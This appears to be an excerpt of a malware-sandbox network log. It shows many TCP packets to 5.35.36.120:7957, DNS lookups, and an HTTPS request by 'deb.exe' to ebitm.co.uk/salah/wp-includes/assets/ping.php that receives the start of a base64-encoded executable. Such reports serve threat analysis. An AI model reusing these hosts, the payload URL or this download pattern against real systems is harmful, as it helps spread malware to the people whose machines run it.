Dec 19, 2024 09:29:55.296257019 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.296415091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.296540976 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.297322989 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.297451973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.297538996 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.298393011 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.298872948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.298959017 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.299530029 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.300348043 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.300410032 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.300585032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.300981998 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.301045895 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.301681995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.302090883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.302155972 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.302800894 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.303910971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.303927898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.303944111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.303965092 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.303994894 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.304970980 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.305295944 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.305340052 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.306063890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.306284904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.306335926 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.307240009 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.307255030 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.307310104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.308290958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.308775902 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.308821917 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.309426069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.310514927 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.310612917 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.310628891 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.310646057 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.310667038 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.311677933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.312201977 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.312273979 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.312701941 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.312717915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.312776089 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.313818932 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.314836025 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.314851046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.314887047 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.314894915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.314971924 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.315905094 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.315949917 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.316024065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.316982985 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.317234039 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.317289114 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.318099022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.318419933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.318487883 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.319206953 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.319222927 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.319264889 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.320287943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.320570946 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.320671082 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.321378946 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.322452068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.322468042 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.322534084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.322545052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.322643042 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.323556900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.324270964 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.324340105 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.324695110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.324711084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.324760914 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.325706959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.380511045 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.460508108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.460578918 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.460727930 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.461102962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.461244106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.461304903 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.462289095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.462374926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.462447882 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.463224888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.463419914 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.463510036 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.464313984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.464844942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.464929104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.465394020 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.465550900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.465667009 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.466502905 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.466629028 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.466711044 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.467597008 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.467814922 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.467911959 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.468668938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.468718052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.468919039 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.469826937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.470088959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.470176935 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.470906973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.470990896 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.471085072 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.471987009 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.472011089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.472177029 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.473084927 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.473215103 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.473366976 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.474383116 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.474569082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.474630117 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.475429058 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.475445032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.475528955 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.476407051 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.476476908 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.476604939 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.477485895 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.477771997 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.477823973 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.478534937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.478765965 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.478830099 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.479624987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.479763985 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.479896069 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.480715990 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.480930090 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.481009960 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.481916904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.481966972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.482069016 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.482897997 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.483335018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.483396053 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.484021902 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.484134912 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.484217882 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.485101938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.485564947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.485645056 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.486190081 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.486531973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.486581087 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.487248898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.487638950 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.487709999 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.488364935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.488570929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.488627911 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.489444971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.489694118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.489787102 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.490587950 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.491020918 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.491081953 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.491725922 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.491991043 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.492057085 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.492746115 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.493259907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.493325949 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.493868113 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.493987083 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.494036913 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.495112896 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.495202065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.495258093 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.496009111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.496197939 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.496248960 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.497210979 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.497401953 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.497553110 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.498203993 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.498713970 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.498802900 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.499289036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.499577045 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.499681950 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.500408888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.501019955 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.501100063 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.501497984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.501730919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.501805067 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.502580881 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.503221035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.503274918 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.503664970 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.504014969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.504080057 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.504848957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.505297899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.505340099 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.505876064 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.505891085 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.506017923 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.506937027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.507786989 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.507869005 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.508017063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.508080006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.508188963 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.509150982 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.509993076 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.510082960 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.510231972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.511029959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.511157036 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.511529922 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.511544943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.511588097 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.512631893 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.513673067 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.513731003 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.513911963 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.513926983 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.514113903 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.514848948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.515043020 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.515130043 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.515680075 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.515727997 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.515928984 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.516844988 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.517268896 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.517374992 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.517998934 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.568048954 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.653058052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.653093100 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.653223991 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.653232098 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.653368950 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.653551102 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.653978109 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.654103041 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.654154062 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.654999018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.655339003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.655392885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.656070948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.656737089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.656784058 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.657277107 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.657294035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.657399893 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.658247948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.658601046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.658649921 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.659405947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.659423113 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.659600973 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.660415888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.660628080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.660700083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.661530018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.661691904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.661787033 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.662632942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.662936926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.662996054 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.663712978 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.664191961 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.664246082 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.664804935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.664819956 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.664865971 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.666273117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.666624069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.666793108 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.667009115 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.667098045 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.667587996 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.667587996 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.787662029 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.787676096 CET	7957	49792	5.35.36.120	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 09:29:12.643903017 CET	51992	53	192.168.2.6	1.1.1.1
Dec 19, 2024 09:29:13.067773104 CET	53	51992	1.1.1.1	192.168.2.6
Dec 19, 2024 09:29:24.330614090 CET	65277	53	192.168.2.6	1.1.1.1
Dec 19, 2024 09:29:24.547774076 CET	53	65277	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 09:29:12.643903017 CET	192.168.2.6	1.1.1.1	0x6f04	Standard query (0)	ebitm.co.uk	A (IP address)	IN (0x0001)	false
Dec 19, 2024 09:29:24.330614090 CET	192.168.2.6	1.1.1.1	0x3f5f	Standard query (0)	dVxTXNLGomMFsmfMnuD.dVxTXNLGomMFsmfMnuD	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 09:29:13.067773104 CET	1.1.1.1	192.168.2.6	0x6f04	No error (0)	ebitm.co.uk		185.199.220.71	A (IP address)	IN (0x0001)	false
Dec 19, 2024 09:29:24.547774076 CET	1.1.1.1	192.168.2.6	0x3f5f	Name error (3)	dVxTXNLGomMFsmfMnuD.dVxTXNLGomMFsmfMnuD	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ebitm.co.uk

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.199.220.71	443	1880	C:\Users\user\Desktop\deb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 08:29:14 UTC	119	OUT	GET /salah/wp-includes/assets/ping.php HTTP/1.1 User-Agent: EXEFetcher Host: ebitm.co.uk Cache-Control: no-cache
2024-12-19 08:29:15 UTC	358	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain;charset=UTF-8 transfer-encoding: chunked date: Thu, 19 Dec 2024 08:29:15 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-19 08:29:15 UTC	1010	IN	Data Raw: 31 30 30 30 30 0d 0a 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 30 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 42 65 39 46 72 42 52 71 2f 4f 41 55 61 76 7a 67 46 47 72 38 34 44 47 49 38 4f 41 59 61 76 7a 67 4d 59 69 77 34 46 42 71 2f 4f 41 55 61 76 6a 69 70 47 72 38 34 48 6f 63 56 4f 41 6b 61 76 7a 67 65 68 79 55 34 42 42 71 2f 4f 42 36 48 Data Ascii: 